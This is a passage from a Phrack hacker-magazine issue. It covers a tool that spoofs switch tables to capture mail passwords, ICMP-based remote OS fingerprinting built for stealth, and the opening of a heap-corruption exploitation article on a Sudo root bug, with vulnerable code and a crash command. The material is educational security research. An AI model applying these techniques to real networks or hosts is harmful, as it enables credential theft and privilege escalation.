(. - BNC Connector, T shaped piece of metal that
connected two pieces of cable with a computer)
Then came 10baseT, or Twisted Pair Ethernet. This was based around a star
topology. The reason for the name is clear when you see a diagram.
Host A Host B Host C
| | |
\________ | ________/
\ | /
Switch or Hub
/ | \
/~~~~~~~~ | ~~~~~~~~\
Host D Host E Host F
Now if rats happened to chew through a network cable, only one computer would
lose network connectivity. If a giant rat happened to eat the network hub,
it was easy to crimp new ends on the twisted pair cable and buy a new hub.
An Ethernet Frame header looks like this:
| | | | | | | | | | | | | | |
0 6 11 13
Bytes 0-5 are the Destination Address
Bytes 6-11 are the Source Address
Bytes 12-13 is the Type Code (IP is 0x0800)
All of the discussed ethernet types (10base5, 10base2 and 10baseT) are based
around a shared medium. This means that packets are broadcast to every
connected machine. It also means that when one device is sending, no other
devices can send.
To increase bandwidth, switches were created. Ethernet switches only forward
packets to the port (a port is the hole you plug the cable into) that the
packet is destined for. (This means all ports in the case of a broadcast
packet) This meant that more total packets could be sent through the network
if a switch were used than if a hub was used.
Switches and hubs are built to allow uplinking (when you connect another switch
or hub into a port instead of just a single computer). In the case of a hub,
this just means that there are more machines sharing the available bandwidth.
In the case of a switch it means that the internal traffic from one hub won't
be seen on other ports. It also means that multiple ethernet addresses can be
on each port and that the switch must contain a list of all of the ethernet
addresses that are on a given physical port and only forward traffic to the
port that the destination host is on. It would be silly to require a network
administrator to track down the ethernet addresses for each of the connected
machines and enter them manually to build this list, so switches generate this
list automatically by watching network traffic.
As long as there is a way for this to be configured automatically, the switch
is probably vulnerable to this attack.
When run, Taranis will start sending packets with the mail server's ethernet
address as the source ethernet address and the attacking machine's real
ethernet address as the destination address. When the switch sees this
packet it will update it's internal table of port->ethernet address mappings.
(This is called the CAM table. For more information on how the CAM table
is updated check, http://routergod.com/gilliananderson/
For the record, CAM apparently stands for Content Addressable Memory, an
extremely generic term) The switch will not forward the packet to any other
ports as the destination ethernet address is set to an ethernet address
already associated with the current port.
This internal table looks something like this:
Port | Ethernet Addresses
-------+----------------------------------------
Port 1 | 01:00:af:34:53:62 (Single host)
Port 2 | 01:e4:5f:2a:63:35 00:c1:24:ee:62:66 ... (Hub/Switch)
Port 3 | 11:af:5a:69:08:63 00:17:72:e1:72:70 ... (Hub/Switch)
Port 4 | 00:14:62:74:23:5a (Single host)
...
As far as the switch is concerned, it has a hub connected on that port, and
it just saw a packet from one host on that hub to another host on the same
hub. It doesn't need to forward it anywhere.
Now that we are seeing traffic destined for the mail server, what can we do
with it? The initial idea was to perform a man in the middle attack, but
this proved to be more difficult than anticipated. (see the comments for
switchtest at the end of this file) Instead taranis spoofs enough of a pop
or imap session to get a client to authenticate by sending it's username
and password.
Taranis will store this authentication information to a logfile. To see
everything displayed in a nicer format run:
cat taranis.log | sort | uniq
Configuration
-------------
Taranis was developed under FreeBSD 4.3. It also builds under OpenBSD and
Linux. If you port it to another platform, send me diff's and I'll integrate
them into the release.
You will require a patch to your kernel to allow you to spoof ethernet source
addresses under FreeBSD and OpenBSD. LibNet has one for OpenBSD and for
FreeBSD < 4.0. I have updated this patch for FreeBSD 4+ and it is included
in this archive as if_ethersubr.c.patch. You can use it as follows..
- su root
- cd /usr/src/sys/net
- patch < if_ethersubr.c.patch
and then rebuild your kernel
Switchtest
----------
Switchtest was written during the development of Taranis. It is included in
case someone wants to test their switches and ip stacks. We weren't able to
find a switch that defaulted to hub mode when confronted with lots of packets
with random source ethernet addresses. Maybe someone else will.
It also tries a man in the middle attack. This shouldn't work as it is based
on resending traffic to ethernet broadcast or ethernet multicast addresses.
If a target IP stack is vulnerable, I'd like to hear about it.
We had discussed the possibility of a generalized man in the middle attack.
It is postulated that you could do a decent job of the attack by redirecting
traffic for a while, and queueing the packets, then resetting the switch (with
an arp request) and then sending the queued packets, then redirecting again.
This will probably cause a lot of packet drops, but tcp applications may be
able to continue in the face of this..
FAQ
---
Q: Where does the name come from?
A: Taranis was the name of a god in ancient Gaul. Whenever I can't think of
a name I randomly grab something from www.pantheon.org.
Q: Why do I keep getting PCAP open errors?
A: You're not root or your kernel doesn't have a pcap compatible way of
capturing packets. Perhaps your network is not ethernet.
Q: Why am I not seeing packets from the target machine?
A: There are several possibilities:
1. Your system is not spoofing ethernet traffic. Check the output with
ethereal (http://ethereal.zing.org/) or tcpdump (www.tcpdump.org)
If you are using tcpdump use the -e flag to display the link level
addresses
2. If the system you are on is spoofing the ethernet frames correctly
it is possible that the switch has a delay before it will switch the
port associated with an ethernet address. Some switches also have
a lock in mode, where they will not accept any changes to their
CAM table.
Q: Did [insert network type here] really look like that?
A: No. But I have no ascii graphics skills. When I get a chance I'll track
down some real pictures and post them at:
www.bitland.net/taranis/diagrams.html
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x07 of 0x12
|=---=[ ICMP based remote OS TCP/IP stack fingerprinting techniques ]=---=|
|=-----------------------------------------------------------------------=|
|=---------------=[ Ofir Arkin & Fyodor Yarochkin ]=---------------------=|
--[ICMP based fingerprinting approach]--
TCP based remote OS fingerprinting is quite old(*1) and well-known
these days, here we would like to introduce an alternative method to
determine an OS remotely based on ICMP responses which are received
from the host. Certain accuracy level has been achieved with
different platforms, which, with some systems or or classes of
platforms (i.g. Win*), is significally more precise than
demonstrated with TCP based fingerprinting methods.
As mentioned above TCP based method, ICMP fingerprinting utilizes
several tests to perform remote OS TCP/IP stack probe, but unlike
TCP fingerprinting, a number of tests required to identify an OS
could vary from 1 to 4 (as of current development stage).
ICMP fingerprinting method is based on certain discoveries on
differencies of ICMP replies from various operating systems (mostly
due to incorrect, or inconsistant implementation), which were found
by Ofir Arkin during his "ICMP Usage in Scanning" research project.
Later these discoveries were summarised into a logical desicions
tree which Ofir entitled "X project" and practically implemented in
'Xprobe' tool.
--[Information/Noise ratio with ICMP fingerprints]--
As it's been noted, the number of datagrams we need to send and
receive in order to remotely fingerprint a targeted machine with
ICMP based probes is small. Very small. In fact we can send one
datagram and receive one reply and this will help us identify up to
eight different operating systems (or classes of operating systems).
The maximum datagrams which our tool will use at the current stage
of development, is four. This is the same number of replies we will
need to analyse. This makes ICMP based fingerprinting very
time-efficient.
ICMP based probes could be crafted to be very stealthy. As on the
moment, no maliformed/broken/corrupted datagrams are used to
identify remote OS type, unlike the common fingerprinting methods.
Current core analysis targets validation of received ICMP responses
on valid packets, rather than crafting invalid packets themselves.
Heaps of such packets appear in an average network on daily basis
and very few IDS systems are tuned to detect such traffic (and those
which are, presumably are very noisy and badly configured).
--[Why it still works?]--
Inheritable mess among various TCP/IP stack implementations with
ICMP handling implementations which implement different RFC
standards (original RFC 792, additional RFC 1122, etc), partial or
incomplete ICMP support (various ICMP requests are not supported
everywhere), low significance of ICMP Error messages data (who
verifies all the fields of the original datagram?!), mistakes and
misunderstanding in ICMP protocol implementation made our method
viable.
--[What do we fingerprint:]--
Several OS-specific differencies are being utilized in ICMP based
fingerprinting to identify remote operating system type:
IP fields of an 'offending' datagram to be examined:
* IP total length field
Some operating systems (i.g. BSD family) will add 20 bytes
(sizeof(ipheader)) to the original IP total length field (which
occures due to internal processing mistakes of the datagram, please
note when the same packet is read from SOCK_RAW the same behaviour
is seen: returned packet ip_len fiend is off by 20 bytes).
Some other operating systems will decrease 20 bytes from the
original IP total lenth field value of the offending packet.
Third group of systems will echo this field correctly.
* IP ID
some systems are seen not to echo this field correctly. (bit order
of the field is changed).
* 3 bits flags and offset
some systems are seen not to echo this field correctly. (bit order
of the field is changed).
* IP header checksum
Some operating systems will miscalculate this field, others just
zero it out. Third group of the systems echoes this field correctly.
* UDP header checksum (in case of UDP datagram)
The same thing could happen with UDP checksum header.
IP headers of responded ICMP packet:
* Precedence bits
Each IP Datagram has an 8-bit field called the 'TOS Byte', which
represents the IP support for prioritization and Type-of-Service
handling.
The 'TOS Byte' consists of three fields.
The 'Precedence field'\cite{rfc791}, which is 3-bit long, is intended to
prioritize the IP Datagram. It has eight levels of prioritization.
Higher priority traffic should be sent before lower priority traffic.
The second field, 4 bits long, is the 'Type-of-Service' field. It is
intended to describe how the network should make tradeoffs between
throughput, delay, reliability, and cost in routing an IP Datagram.
The last field, the 'MBZ' (must be zero), is unused and must be zero.
Routers and hosts ignore this last field. This field is 1 bit long.
The TOS Bits and MBZ fields are being replaced by the DiffServ
mechanism for QoS.
RFC 1812 Requires following for IP Version 4 Routers:
"4.3.2.5 TOS and Precedence
ICMP Source Quench error messages, if sent at all, MUST have their
IP Precedence field set to the same value as the IP Precedence field
in the packet that provoked the sending of the ICMP Source Quench
message. All other ICMP error messages (Destination Unreachable,
Redirect, Time Exceeded, and Parameter Problem) SHOULD have their
precedence value set to 6 (INTERNETWORK CONTROL) or 7 (NETWORK
CONTROL). The IP Precedence value for these error messages MAY be
settable".
Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set
their Precedence bits field value to 0xc0 with ICMP error messages.
Networking devices that will act the same will be Cisco routers
based on IOS 11.x-12.x and Foundry Networks switches.
* DF bits echoing
Some TCP/IP stacks will echo DF bit with ICMP Error datagrams,
others (like linux) will copy the whole octet completely, zeroing
certain bits, others will ignore this field and set their own.
* IP ID filend (linux 2.4.0 - 2.4.4 kernels)
Linux machines based on Kernel 2.4.0-2.4.4 will set the IP
Identification field value with their ICMP query request and reply
messages to a value of zero.
This was later fixed with Linux Kernels 2.4.5 and up.
* IP ttl field (ttl distance to the target has to be precalculated to
guarantee accuracy).
"The sender sets the time to live field to a value that represents
the maximum time the datagram is allowed to travel on the Internet".
The field value is decreased at each point that the IP header is
being processed. RFC 791 states that this field decreasement reflects
the time spent processing the datagram. The field value is measured
in units of seconds. The RFC also states that the maximum time to
live value can be set to 255 seconds, which equals to 4.25 minutes.
The datagram must be discarded if this field value equals zero -
before reaching its destination.
Relating to this field as a measure to assess time is a bit
misleading. Some routers may process the datagram faster than a
second, and some may process the datagram longer than a second.
The real intention is to have an upper bound to the datagram
lifetime, so infinite loops of undelivered datagrams will not jam the
Internet.
Having a bound to the datagram lifetime help us to prevent old
duplicates to arrive after a certain time elapsed. So when we
retransmit a piece of information which was not previously delivered
we can be assured that the older duplicate is already discarded and
will not interfere with the process.
The IP TTL field value with ICMP has two separate values, one for
ICMP query messages and one for ICMP query replies.
The IP TTL field value helps us identify certain operating systems
and groups of operating systems. It also provides us with the
simplest means to add another check criterion when we are querying
other host(s) or listening to traffic (sniffing).
TTL-based fingeprinting requires a TTL distance to the done to be
precalculated in advance (unless a fingerprinting of a local network
based system is performed system).
The ICMP Error messages will use values used by ICMP query request
messages.
A good statistics of ttl dependancy on OS type has been gathered at:
http://www.switch.ch/docs/ttl_default.html
(Research paper on default ttl values)
* TOS field
RFC 1349 defines the usage of the Type-of-Service field with the
ICMP messages. It distinguishes between ICMP error messages
(Destination Unreachable, Source Quench, Redirect, Time Exceeded,
and Parameter Problem), ICMP query messages (Echo, Router
Solicitation, Timestamp, Information request, Address Mask request)
and ICMP reply messages (Echo reply, Router Advertisement, Timestamp
reply, Information reply, Address Mask reply).
Simple rules are defined:
* An ICMP error message is always sent with the default TOS (0x0000)
* An ICMP request message may be sent with any value in the TOS
field. "A mechanism to allow the user to specify the TOS value to
be used would be a useful feature in many applications that
generate ICMP request messages".
The RFC further specify that although ICMP request messages are
normally sent with the default TOS, there are sometimes good
reasons why they would be sent with some other TOS value.
* An ICMP reply message is sent with the same value in the TOS
field as was used in the corresponding ICMP request message.
Some operating systems will ignore RFC 1349 when sending ICMP echo
reply messages, and will not send the same value in the TOS field as
was used in the corresponding ICMP request message.
ICMP headers of responded ICMP packet:
* ICMP Error Message Quoting Size:
All ICMP error messages consist of an IP header, an ICMP header
and certain amount of data of the original datagram, which triggered
the error (aka offending datagram).
According to RFC 792 only 64 bits (8 octets) of original datagram
are supposed to be included in the ICMP error message. However RFC
1122 (issued later) recommends up to 576 octets to be quoted.
Most of "older" TCP stack implementations will include 8 octets into
ICMP Errror message. Linux/HPUX 11.x, Solaris, MacOS and others will
include more.
Noticiably interesting is the fact that Solaris engineers probably
couldn't not read RFC properly (since instead of 64 bits Solaris
2.x includes 64 octets (512 bits) of the original datagram.
* ICMP error Message echoing integrity
Another artifact which has been noticed is that some stack
implementations, when sending back an ICMP error message, may alter
the offending packet's IP header and the underlying protocol data,
which is echoed back with the ICMP error message.
Since mistakes, made by TCP/IP stack programmers are different and
specific to an operating system, an analysis of these mistakes could
give a potential attacker a a possibilty to make assumptions about
the target operating system type.
Additional tweaks and twists:
* Using difererent from zero code fields in ICMP echo requests
When an ICMP code field value different than zero (0) is sent with
an ICMP Echo request message (type 8), operating systems that will
answer our query with an ICMP Echo reply message that are based on
one of the Microsoft based operating systems will send back an ICMP
code field value of zero with their ICMP Echo Reply. Other operating
systems (and networking devices) will echo back the ICMP code field
value we were using with the ICMP Echo Request.
The Microsoft based operating systems acts in contrast to RFC
792 guidelines which instruct the answering operating systems to
only change the ICMP type to Echo reply (type 0), recalculate the
checksums and send the ICMP Echo reply away.
* Using DF bit echoing with ICMP query messages
As in case of ICMP Error messages, some tcp stacks will respond
these queries, while the others: will not.
* Other ICMP messages:
* ICMP timestamp request
* ICMP Information request
* ICMP Address mask request
Some TCP/IP stacks support these messages and respond to some of
these requests.
--[Xprobe implementation]--
Currently Xprobe deploys hardcoded logic tree, developed by Ofir
Arkin in 'Project X'. Initially a UDP datagram is being sent to a
closed port in order to trigger ICMP Error message: ICMP
unreachable/port unreach. (this sets up a limitation of having at
least one port not filtered on target system with no service
running, generically speaking other methods of triggering ICMP
unreach packet could be used, this will be discussed further).
Moreover, a few tests (icmp unreach content, DF bits, TOS ...) could
be combined within a single query, since they do not affect results
of each other.
Upon the receipt of ICMP unreachable datagram, contents of the
received datagram is examined and a diagnostics decision is made, if
any further tests are required, according to the logic tree, further
queries are sent.
--[ Logic tree]---
Quickly recapping the logic tree organization:
Initially all TCP/IP stack implementations are split into 2 groups,
those which echo precedence bits back, and those which do not. Those
which do echo precendence bits (linux 2.0.x, 2.2.x, 2.4.x, cisco IOS
11.x-12.x, Extreme Network Switches etc), being differentiated
further based on ICMP error quoting size. (Linux sticks with RFC
1122 here and echoes up to 576 octets, while others in this subgroup
echo only 64 bits (8 octets)). Further echo integrity checks are
used to differentiate cisco routers from Extreme Network switches.
Time-to-live and IP ID fields of ICMP echo reply are being used to
recognize version of linux kernel.
The same approach is being used to recognize other TCP/IP stacks.
Data echoing validation (amounts of octets of original datagram
echoed, checksum validation, etc). If additional information is
needed to differ two 'similar' IP stacks, additional query is being
sent. (please refer to the diagram at
http://www.sys-security.com/html/projects/X.html for more detailed
explanation/graphical representation of the logic tree).
One of the serious problems with the logic tree, is that adding new
operating system types to it becomes extremely painful. At times
part of the whole logic tree has to be reworked to 'fit' a single
description. Therefore a singature based fingerprinting method took
our closer attention.
--[Sinature based approach]--
Singature based approach is what we are currently focusing on and
which we believe will be further, more stable, reliable and flexible
method of remote ICMP based fingerprints.
Signature-based method is currently based on five different tests,
which optionally could be included in each operating system
fingerprint. Initally the systems with lesser amount of tests are
being examined (normally starting with ICMP unreach test).
If no single OS stack found matching received signature, those
stacks which match a part, being grouped again, and another test
(based on lesser amounts of tests issued principle) is choosen and
executed. This verification is repeated until an OS stack,
completely matching the signature is found, or we run out of tests.
Currently following tests are being deployed:
* ICMP unreachable test (udp closed port based, host unreachable,
network unreachable (for systems which are believed to be gateways)
* ICMP echo request/reply test
* ICMP timestamp request
* ICMP information request
* ICMP address mask request
--[future implementations/development]--
Following issues are planned to be deployed (we always welcome
discussions/suggestions though):
* Fingerprints database (currently being tested)
* Dynamic, AI based logic (long-term project :))
* Tests would heavily dependent on network topology (pre-test
network mapping will take place).
* Path-to-target test (to calculate hops distance to the target)
filtering devices probes.
* Future implementations will be using packets with
actual application data to dismiss chances of being detected.
* other network mapping capabilities shall be included (
network role identification, search for closed UDP port, reachability
tests, etc).
--[code for kids]--
Currently implemented code and further documentation is available at
following locations:
http://www.sys-security.com/html/projects/X.html
http://xprobe.sourceforge.net
http://www.notlsd.net/xprobe/
Ofir Arkin <ofir@sys-security.com>
Fyodor Yarochkin <fygrave@tigerteam.net>
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12
--=[ Disclaimer ]=-----------------------------------------------------//
In this issue of Phrack, there are two similar articles about malloc based
exploitation techniques. The first one explains in detail the GNU C Library
implementation of the malloc interface and how it can be abused to exploit
buffer overflows in malloc space. The second article is a more hands-on
approach to introduce you to the idea of malloc overflows. It covers the
System V implementation and the GNU C Library implementation. If you are not
sure about the topic, it may be a better choice to start with it to get an
idea of the subject. However, if you are serious about learning this
technique, there is no way around the article by MaXX.
--=[ Enjoy ]=------------------------------------------------------------//
|=[ Vudo - An object superstitiously believed to embody magical powers ]=-|
|=-----------------------------------------------------------------------=|
|=------------=[ Michel "MaXX" Kaempf <maxx@synnergy.net> ]=-------------=|
|=---------------[ Copyright (C) 2001 Synnergy Networks ]=---------------=|
The present paper could probably have been entitled "Smashing The
Heap For Fun And Profit"... indeed, the memory allocator used by the
GNU C Library (Doug Lea's Malloc) and the associated heap corruption
techniques are presented. However, it was entitled "Vudo - An object
superstitiously believed to embody magical powers" since a recent Sudo
vulnerability and the associated Vudo exploit are presented as well.
--[ Contents ]----------------------------------------------------------
1 - Introduction
2 - The "potential security problem"
2.1 - A real problem
2.1.1 - The vulnerable function
2.1.2 - The segmentation violation
2.2 - An unreal exploit
2.3 - Corrupting the heap
2.4 - Temporary conclusion
3 - Doug Lea's Malloc
3.1 - A memory allocator
3.1.1 - Goals
3.1.2 - Algorithms
3.1.2.1 - Boundary tags
3.1.2.2 - Binning
3.1.2.3 - Locality preservation
3.1.2.4 - Wilderness preservation
3.1.2.5 - Memory mapping
3.2 - Chunks of memory
3.2.1 - Synopsis of public routines
3.2.2 - Vital statistics
3.2.3 - Available chunks
3.3 - Boundary tags
3.3.1 - Structure
3.3.2 - Size of a chunk
3.3.3 - prev_size field
3.3.4 - size field
3.4 - Bins
3.4.1 - Indexing into bins
3.4.2 - Linking chunks in bin lists
3.5 - Main public routines
3.5.1 - The malloc(3) algorithm
3.5.2 - The free(3) algorithm
3.5.3 - The realloc(3) algorithm
3.6 - Execution of arbitrary code
3.6.1 - The unlink() technique
3.6.1.1 - Concept
3.6.1.2 - Proof of concept
3.6.2 - The frontlink() technique
3.6.2.1 - Concept
3.6.2.2 - Proof of concept
4 - Exploiting the Sudo vulnerability
4.1 - The theory
4.2 - The practice
5 - Acknowledgements
6 - Outroduction
--[ 1 - Introduction ]--------------------------------------------------
Sudo (superuser do) allows a system administrator to give certain users
(or groups of users) the ability to run some (or all) commands as root
or another user while logging the commands and arguments.
-- http://www.courtesan.com/sudo/index.html
On February 19, 2001, Sudo version 1.6.3p6 was released: "This fixes
a potential security problem. So far, the bug does not appear to be
exploitable." Despite the comments sent to various security mailing
lists after the announce of the new Sudo version, the bug is not a
buffer overflow and the bug does not damage the stack.
But the bug is exploitable: even a single byte located somewhere in the
heap, erroneously overwritten by a NUL byte before a call to syslog(3)
and immediately restored after the syslog(3) call, may actually lead to
execution of arbitrary code as root. Kick off your shoes, put your feet
up, lean back and just enjoy the... voodoo.
The present paper focuses on Linux/Intel systems and:
- details the aforementioned bug and explains why a precise knowledge of
how malloc works internally is needed in order to exploit it;
- describes the functioning of the memory allocator used by the GNU C
Library (Doug Lea's Malloc), from the attacker's point of view;
- applies this information to the Sudo bug, and presents a working
exploit for Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1.
--[ 2 - The "potential security problem" ]------------------------------
----[ 2.1 - A real problem ]--------------------------------------------
------[ 2.1.1 - The vulnerable function ]-------------------------------
The vulnerable function, do_syslog(), can be found in the logging.c file
of the Sudo tarball. It is called by two other functions, log_auth() and
log_error(), in order to syslog allow/deny and error messages. If the
message is longer than MAXSYSLOGLEN (960) characters, do_syslog() splits
it into parts, breaking up the line into what will fit on one syslog
line (at most MAXSYSLOGLEN characters) and trying to break on a word
boundary if possible (words are delimited by SPACE characters here).
/*
* Log a message to syslog, pre-pending the username and splitting the
* message into parts if it is longer than MAXSYSLOGLEN.
*/
static void do_syslog( int pri, char * msg )
{
int count;
char * p;
char * tmp;
char save;
/*
* Log the full line, breaking into multiple syslog(3) calls if
* necessary
*/
[1] for ( p=msg, count=0; count < strlen(msg)/MAXSYSLOGLEN + 1; count++ ) {
[2] if ( strlen(p) > MAXSYSLOGLEN ) {
/*
* Break up the line into what will fit on one syslog(3) line
* Try to break on a word boundary if possible.
*/
[3] for ( tmp = p + MAXSYSLOGLEN; tmp > p && *tmp != ' '; tmp-- )
;
if ( tmp <= p )
[4] tmp = p + MAXSYSLOGLEN;
/* NULL terminate line, but save the char to restore later */
save = *tmp;
[5] *tmp = '\0';
if ( count == 0 )
SYSLOG( pri, "%8.8s : %s", user_name, p );
else
SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );
/* restore saved character */
[6] *tmp = save;
/* Eliminate leading whitespace */
[7] for ( p = tmp; *p != ' '; p++ )
;
[8] } else {
if ( count == 0 )
SYSLOG( pri, "%8.8s : %s", user_name, p );
else
SYSLOG( pri,"%8.8s : (command continued) %s",user_name,p );
}
}
}
------[ 2.1.2 - The segmentation violation ]----------------------------
Chris Wilson discovered that long command line arguments cause Sudo to
crash during the do_syslog() operation:
$ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 31337'`
Password:
maxx is not in the sudoers file. This incident will be reported.
Segmentation fault
Indeed, the loop[7] does not check for NUL characters and therefore
pushes p way after the end of the NUL terminated character string
msg (created by log_auth() or log_error() via easprintf(), a wrapper
to vasprintf(3)). When p reaches the end of the heap (msg is of
course located in the heap since vasprintf(3) relies on malloc(3) and
realloc(3) to allocate dynamic memory) Sudo eventually dies on line[7]
with a segmentation violation after an out of-bounds read operation.
This segmentation fault occurs only when long command line arguments are
passed to Sudo because the loop[7] has to be run many times in order to
reach the end of the heap (there could indeed be many SPACE characters,
which force do_syslog() to leave the loop[7], after the end of the msg
buffer but before the end of the heap). Consequently, the length of the
msg string has to be many times MAXSYSLOGLEN because the loop[1] runs as
long as count does not reach (strlen(msg)/MAXSYSLOGLEN + 1).
----[ 2.2 - An unreal exploit ]-----------------------------------------
Dying after an illegal read operation is one thing, being able to
perform an illegal write operation in order to gain root privileges
is another. Unfortunately do_syslog() alters the heap at two places
only: line[5] and line[6]. If do_syslog() erroneously overwrites a
character at line[5], it has to be exploited during one of the syslog(3)
calls between line[5] and line[6], because the erroneously overwritten
character is immediately restored at line[6].
Since msg was allocated in the heap via malloc(3) and realloc(3),
there is an interesting structure stored just after the end of the msg
buffer, maintained internally by malloc: a so-called boundary tag.
If syslog(3) uses one of the malloc functions (calloc(3), malloc(3),
free(3) or realloc(3)) and if the Sudo exploit corrupts that boundary
tag during the execution of do_syslog(), evil things could happen. But
does syslog(3) actually call malloc functions?
$ /usr/bin/sudo /bin/false `/usr/bin/perl -e 'print "A" x 1337'`
[...]
malloc( 100 ): 0x08068120;
malloc( 300 ): 0x08060de0;
free( 0x08068120 );
malloc( 700 ): 0x08060f10;
free( 0x08060de0 );
malloc( 1500 ): 0x080623b0;
free( 0x08060f10 );
realloc( 0x080623b0, 1420 ): 0x080623b0;
[...]
malloc( 192 ): 0x08062940;
malloc( 8192 ): 0x080681c8;
realloc( 0x080681c8, 119 ): 0x080681c8;
free( 0x08062940 );
free( 0x080681c8 );
[...]
The first series of malloc calls was performed by log_auth() in order
to allocate memory for the msg buffer, but the second series of malloc
calls was performed... by syslog(3). Maybe the Sudo exploit is not that
unreal after all.
----[ 2.3 - Corrupting the heap ]---------------------------------------
However, is it really possible to alter a given byte of the boundary
tag located after the msg buffer (or more generally to overwrite at
line[5] an arbitrary character (after the end of msg) with a NUL byte)?
If the Sudo exploit exclusively relies on the content of the msg buffer
(which is fortunately composed of various user-supplied strings (current
working directory, sudo command, and so on)), the answer is no. This
assertion is demonstrated below.
The character overwritten at line[5] by a NUL byte is pointed to by tmp:
- tmp comes from loop[3] if there is a SPACE character among the first
MAXSYSLOGLEN bytes after p. tmp then points to the first SPACE character
encountered when looping from (p + MAXSYSLOGLEN) down to p.
-- If the overwritten SPACE character is located within the msg buffer,
there is no heap corruption at all because the write operation is not an
illegal one.
-- If this first encountered SPACE character is located outside the msg
buffer, the Sudo exploit cannot control its exact position if it solely
relies on the content of the msg buffer, and thus cannot control where
the NUL byte is written.
- tmp comes from line[4] if there is no SPACE character among the first
MAXSYSLOGLEN bytes after p. tmp is then equal to (p + MAXSYSLOGLEN).
-- If p and tmp are both located within the msg buffer, there is no
possible memory corruption, because overwriting the tmp character
located within a buffer returned by malloc is a perfectly legal action.
-- If p is located within the msg buffer and tmp is located outside
the msg buffer... this is impossible because the NUL terminator at the
end of the msg buffer, placed between p and tmp, prevents do_syslog()
from successfully passing the test[2] (and the code at line[8] is not
interesting because it performs no write operation).
Moreover, if the test[2] fails once it will always fail, because
p will never be modifed again and strlen(p) will therefore stay
less than or equal to MAXSYSLOGLEN, forcing do_syslog() to run the
code at line[8] again and again, as long as count does not reach
(strlen(msg)/MAXSYSLOGLEN + 1).
-- If p and tmp are both located outside the msg buffer, p points to
the first SPACE character encountered after the end of the msg string
because it was pushed outside the msg buffer by the loop[7]. If the Sudo
exploit exclusively relies on the content of the msg buffer, it cannot
control p because it cannot control the occurrence of SPACE characters
after the end of the msg string. Consequently, it cannot control tmp,
which points to the place where the NUL byte is written, because tmp
depends on p.
Moreover, after p was pushed outside the msg buffer by the loop[7],
there should be no NUL character between p and (p + MAXSYSLOGLEN) in
order to successfully pass the test[2]. The Sudo exploit should once
again rely on the content of the memory after msg.
----[ 2.4 - Temporary conclusion ]--------------------------------------
The Sudo exploit should:
- overwrite a byte of the boundary tag located after the msg buffer with
the NUL byte... it should therefore control the content of the memory
after msg (managed by malloc) because, as proven in 2.3, the control of
the msg buffer itself is not sufficient;
- take advantage of the erroneously overwritten byte before it is
restored... one of the malloc calls performed by syslog(3) should
therefore read the corrupted boundary tag and further alter the usual
execution of Sudo.
But in order to be able to perform these tasks, an in depth knowledge of
how malloc works internally is needed.
--[ 3 - Doug Lea's Malloc ]---------------------------------------------
Doug Lea's Malloc (or dlmalloc for short) is the memory allocator used
by the GNU C Library (available in the malloc directory of the library
source tree). It manages the heap and therefore provides the calloc(3),
malloc(3), free(3) and realloc(3) functions which allocate and free
dynamic memory.
The description below focuses on the aspects of dlmalloc needed to
successfully corrupt the heap and subsequently exploit one of the malloc
calls in order to execute arbitrary code. A more complete description
is available in the GNU C Library source tree and at the following
addresses:
ftp://gee.cs.oswego.edu/pub/misc/malloc.c
http://gee.cs.oswego.edu/dl/html/malloc.html
----[ 3.1 - A memory allocator ]----------------------------------------
"This is not the fastest, most space-conserving, most portable, or most
tunable malloc ever written. However it is among the fastest while also
being among the most space-conserving, portable and tunable. Consistent
balance across these factors results in a good general-purpose allocator
for malloc-intensive programs."
------[ 3.1.1 - Goals ]-------------------------------------------------
The main design goals for this allocator are maximizing compatibility,
maximizing portability, minimizing space, minimizing time, maximizing
tunability, maximizing locality, maximizing error detection, minimizing
anomalies. Some of these design goals are critical when it comes to
damaging the heap and exploiting malloc calls afterwards:
- Maximizing portability: "conformance to all known system constraints
on alignment and addressing rules." As detailed in 3.2.2 and 3.3.2, 8
byte alignment is currently hardwired into the design of dlmalloc. This
is one of the main characteristics to permanently keep in mind.
- Minimizing space: "The allocator [...] should maintain memory in ways
that minimize fragmentation -- holes in contiguous chunks of memory that
are not used by the program." But holes are sometimes needed in order to
successfully attack programs which corrupt the heap (Sudo for example).
- Maximizing tunability: "Optional features and behavior should be
controllable by users". Environment variables like MALLOC_TOP_PAD_ alter
the functioning of dlmalloc and could therefore aid in exploiting malloc
calls. Unfortunately they are not loaded when a SUID or SGID program is
run.
- Maximizing locality: "Allocating chunks of memory that are typically
used together near each other." The Sudo exploit for example heavily
relies on this feature to reliably create holes in the memory managed by
dlmalloc.
- Maximizing error detection: "allocators should provide some means
for detecting corruption due to overwriting memory, multiple frees,
and so on." Luckily for the attacker who smashes the heap in order to
execute arbitrary code, the GNU C Library does not activate these error
detection mechanisms (the MALLOC_DEBUG compile-time option and the
malloc debugging hooks (__malloc_hook, __free_hook, etc)) by default.
------[ 3.1.2 - Algorithms ]--------------------------------------------
"While coalescing via boundary tags and best-fit via binning represent
the main ideas of the algorithm, further considerations lead to a
number of heuristic improvements. They include locality preservation,
wilderness preservation, memory mapping".
--------[ 3.1.2.1 - Boundary tags ]-------------------------------------
The chunks of memory managed by Doug Lea's Malloc "carry around with
them size information fields both before and after the chunk. This
allows for two important capabilities:
- Two bordering unused chunks can be coalesced into one larger chunk.
This minimizes the number of unusable small chunks.
- All chunks can be traversed starting from any known chunk in either a
forward or backward direction."
The presence of such a boundary tag (the structure holding the said
information fields, detailed in 3.3) between each chunk of memory comes
as a godsend to the attacker who tries to exploit heap mismanagement.
Indeed, boundary tags are control structures located in the very middle
of a potentially corruptible memory area (the heap), and if the attacker
manages to trick dlmalloc into processing a carefully crafted fake
(or altered) boundary tag, they should be able to eventually execute
arbitrary code.
For example, the attacker could overflow a buffer dynamically allocated
by malloc(3) and overwrite the next contiguous boundary tag (Netscape
browsers exploit), or underflow such a buffer and overwrite the boundary
tag stored just before (Secure Locate exploit), or cause the vulnerable
program to perform an incorrect free(3) call (LBNL traceroute exploit)
or multiple frees, or overwrite a single byte of a boundary tag with a
NUL byte (Sudo exploit), and so on:
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
ftp://maxx.via.ecp.fr/dislocate/
http://www.synnergy.net/downloads/exploits/traceroute-exp.txt
